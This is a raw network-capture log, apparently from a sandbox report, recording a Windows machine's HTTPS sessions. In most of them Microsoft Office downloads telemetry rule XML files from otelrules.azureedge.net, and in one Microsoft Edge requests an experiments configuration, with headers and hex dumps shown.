2024-11-12 16:07:41 UTC	192	OUT	GET /rules/rule120676v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 16:07:41 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 16:07:41 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B984BF177" x-ms-request-id: 9ec2e68b-201e-0096-6cd2-2cace6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T160741Z-16547b76f7f7jnp2hC1DFWfc300000000ftg00000000r6ku x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 16:07:41 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120676" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120675" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
83	192.168.2.6	49818	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 16:07:41 UTC	192	OUT	GET /rules/rule120677v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 16:07:41 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 16:07:41 GMT Content-Type: text/xml Content-Length: 405 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:37 GMT ETag: "0x8DC582B942B6AFF" x-ms-request-id: b366bed9-101e-008d-7ca3-3492e5000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T160741Z-15869dbbcc6bdtw9hC1DFWx46400000000c000000000371x x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-12 16:07:41 UTC	405	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5e 5b 58 78 5d 5b 45 65 5d 5b 4e 6e 5d 24 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120677" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120675" /> <SR T="2" R="(^[Xx][Ee][Nn]$)"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <

Session ID	Source IP	Source Port	Destination IP	Destination Port
84	192.168.2.6	49819	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 16:07:41 UTC	192	OUT	GET /rules/rule120678v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 16:07:41 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 16:07:41 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA642BF4" x-ms-request-id: 229e582e-901e-0083-26d2-2cbb55000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T160741Z-16547b76f7f9rdn9hC1DFWfk7s0000000fr000000000r3gk x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 16:07:41 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120678" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120677" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
85	192.168.2.6	49784	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 16:07:41 UTC	192	OUT	GET /rules/rule120658v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 16:07:42 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 16:07:42 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:34 GMT ETag: "0x8DC582BB650C2EC" x-ms-request-id: 28b142bf-301e-0000-3ca7-34eecc000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T160742Z-15869dbbcc6j87jfhC1DFWr0yc0000000870000000007rzm x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 16:07:42 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120658" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120657" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
86	192.168.2.6	49822	94.245.104.56	443	7464	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-12 16:07:42 UTC	428	OUT	GET /edgeoffer/pb/experiments?appId=edge-extensions&country=CH HTTP/1.1 Host: api.edgeoffer.microsoft.com Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-12 16:07:45 UTC	584	IN	HTTP/1.1 200 OK Content-Length: 0 Connection: close Content-Type: application/x-protobuf; charset=utf-8 Date: Tue, 12 Nov 2024 16:07:45 GMT Server: Microsoft-IIS/10.0 Set-Cookie: ARRAffinity=441ebcba0ba2e4c633ce1b8b14633ab4876bfc30e64ee300298febb0b0a628d7;Path=/;HttpOnly;Secure;Domain=api.edgeoffer.microsoft.com Set-Cookie: ARRAffinitySameSite=441ebcba0ba2e4c633ce1b8b14633ab4876bfc30e64ee300298febb0b0a628d7;Path=/;HttpOnly;SameSite=None;Secure;Domain=api.edgeoffer.microsoft.com Request-Context: appId=cid-v1:48af8e22-9427-456d-9a55-67a1e42a1bd9 X-Powered-By: ASP.NET

Session ID	Source IP	Source Port	Destination IP	Destination Port
87	192.168.2.6	49829	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 16:07:43 UTC	192	OUT	GET /rules/rule120681v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 16:07:43 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 16:07:43 GMT Content-Type: text/xml Content-Length: 958 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:58 GMT ETag: "0x8DC582BA0A31B3B" x-ms-request-id: 8a5e2199-d01e-0014-3f2b-2ced58000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T160743Z-16547b76f7f76p6chC1DFWctqw0000000fw000000000pwt9 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 16:07:43 UTC	958	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 38 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 38 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 33 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120681" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <R T="1" R="120608" /> <R T="2" R="120680" /> <TH T="3"> <O T="AND"> <L> <O T="EQ"> <L>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
88	192.168.2.6	49828	13.107.246.45	443	7464	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-12 16:07:43 UTC	192	OUT	GET /rules/rule120679v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 16:07:43 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 16:07:43 GMT Content-Type: text/xml Content-Length: 174 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:33 GMT ETag: "0x8DC582B91D80E15" x-ms-request-id: c3d6966f-401e-0016-3ad8-2b53e0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T160743Z-16547b76f7fr4g8xhC1DFW9cqc0000000f0000000000h822 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 16:07:43 UTC	174	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 37 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 54 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 31 22 20 2f 3e 0d 0a 20 20 3c 2f 54 3e 0d 0a 3c 2f 52 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120679" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120677" /> </S> <T> <S T="1" /> </T></R>

Session ID	Source IP	Source Port	Destination IP	Destination Port
89	192.168.2.6	49830	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 16:07:43 UTC	192	OUT	GET /rules/rule120682v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 16:07:43 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 16:07:43 GMT Content-Type: text/xml Content-Length: 501 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:18 GMT ETag: "0x8DC582BACFDAACD" x-ms-request-id: d4c521ce-601e-000d-6da3-342618000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T160743Z-17df447cdb5rnd49hC1DFWgmpw00000006g000000000bdg9 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 16:07:43 UTC	501	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 41 20 54 3d 22 31 22 20 45 3d 22 54 65 6c 65 6d 65 74 72 79 53 74 61 72 74 75 70 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 31 30 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 33 22 20 47 3d 22 7b 62 31 36 37 36 61 63 33 2d 37 66 65 65 2d 34 34 61 39 2d 39 61 30 65 2d 64 62 62 30 62 34 39 36 65 66 61 35 7d 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120682" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <A T="1" E="TelemetryStartup" /> <R T="2" R="120100" /> <SS T="3" G="{b1676ac3-7fee-44a9-9a0e-dbb0b496efa5}" /> </S> <C T="

Session ID	Source IP	Source Port	Destination IP	Destination Port
90	192.168.2.6	49827	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 16:07:43 UTC	192	OUT	GET /rules/rule120680v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 16:07:44 UTC	538	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 16:07:43 GMT Content-Type: text/xml Content-Length: 1952 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:39 GMT ETag: "0x8DC582B956B0F3D" x-ms-request-id: d5f81cfa-001e-0017-1dd2-2c0c3c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T160743Z-16547b76f7f9rdn9hC1DFWfk7s0000000ftg00000000k3ca x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 16:07:44 UTC	1952	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 31 22 20 47 3d 22 7b 62 31 36 37 36 61 63 33 2d 37 66 65 65 2d 34 34 61 39 2d 39 61 30 65 2d 64 62 62 30 62 34 39 36 65 66 61 35 7d 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 38 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 33 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 4c 54 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120680" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <SS T="1" G="{b1676ac3-7fee-44a9-9a0e-dbb0b496efa5}" /> <R T="2" R="120682" /> <F T="3"> <O T="LT"> <L>

Session ID	Source IP	Source Port	Destination IP	Destination Port
91	192.168.2.6	49836	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 16:07:44 UTC	193	OUT	GET /rules/rule120602v10s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 16:07:44 UTC	517	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 16:07:44 GMT Content-Type: text/xml Content-Length: 2592 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB5B890DB" x-ms-request-id: 682504c0-001e-005a-75d2-2cc3d0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T160744Z-16547b76f7f775p5hC1DFWzdvn0000000fy0000000002kdh x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 16:07:44 UTC	2592	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 32 22 20 56 3d 22 31 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 41 70 70 6c 69 63 61 74 69 6f 6e 41 6e 64 4c 61 6e 67 75 61 67 65 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120602" V="10" DC="SM" EN="Office.System.SystemHealthMetadataApplicationAndLanguage" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa=

Session ID	Source IP	Source Port	Destination IP	Destination Port
92	192.168.2.6	49837	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 16:07:44 UTC	192	OUT	GET /rules/rule120601v3s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 16:07:44 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 16:07:44 GMT Content-Type: text/xml Content-Length: 3342 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:34 GMT ETag: "0x8DC582B927E47E9" x-ms-request-id: f5036dc0-201e-0085-07a2-3434e3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T160744Z-17df447cdb5c9wvxhC1DFWn08n0000000cpg000000005ep3 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 16:07:44 UTC	3342	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 31 22 20 56 3d 22 33 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 4f 53 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 44 43 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120601" V="3" DC="SM" EN="Office.System.SystemHealthMetadataOS" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa="DC" xmlns=""> <RI

Session ID	Source IP	Source Port	Destination IP	Destination Port
93	192.168.2.6	49838	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 16:07:44 UTC	193	OUT	GET /rules/rule224901v11s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 16:07:44 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 16:07:44 GMT Content-Type: text/xml Content-Length: 2284 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:13 GMT ETag: "0x8DC582BCD58BEEE" x-ms-request-id: a14a0ed7-201e-0096-78aa-31ace6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T160744Z-16547b76f7ftdm8dhC1DFWs13g0000000fxg00000000324x x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 16:07:44 UTC	2284	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 32 32 34 39 30 31 22 20 56 3d 22 31 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 4c 69 63 65 6e 73 69 6e 67 2e 4f 66 66 69 63 65 43 6c 69 65 6e 74 4c 69 63 65 6e 73 69 6e 67 2e 44 6f 4c 69 63 65 6e 73 65 56 61 6c 69 64 61 74 69 6f 6e 22 20 41 54 54 3d 22 63 31 61 30 64 62 30 31 32 37 39 36 34 36 37 34 61 30 64 36 32 66 64 65 35 61 62 30 66 65 36 32 2d 36 65 63 34 61 63 34 35 2d 63 65 62 63 2d 34 66 38 30 2d 61 61 38 33 2d 62 36 62 39 64 33 61 38 36 65 64 37 2d 37 37 31 39 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 43 65 6e 73 75 73 22 20 54 3d 22 55 70 6c 6f 61 64 2d 4d 65 64 69 75 6d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="224901" V="11" DC="SM" EN="Office.Licensing.OfficeClientLicensing.DoLicenseValidation" ATT="c1a0db0127964674a0d62fde5ab0fe62-6ec4ac45-cebc-4f80-aa83-b6b9d3a86ed7-7719" SP="CriticalCensus" T="Upload-Medium"

Session ID	Source IP	Source Port	Destination IP	Destination Port
94	192.168.2.6	49842	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 16:07:45 UTC	192	OUT	GET /rules/rule701201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 16:07:45 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 16:07:45 GMT Content-Type: text/xml Content-Length: 1393 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:51 GMT ETag: "0x8DC582BE3E55B6E" x-ms-request-id: 5703df49-f01e-005d-5fa0-3413ba000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T160745Z-15869dbbcc6x4rp4hC1DFW5xa8000000012000000000qm3q x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
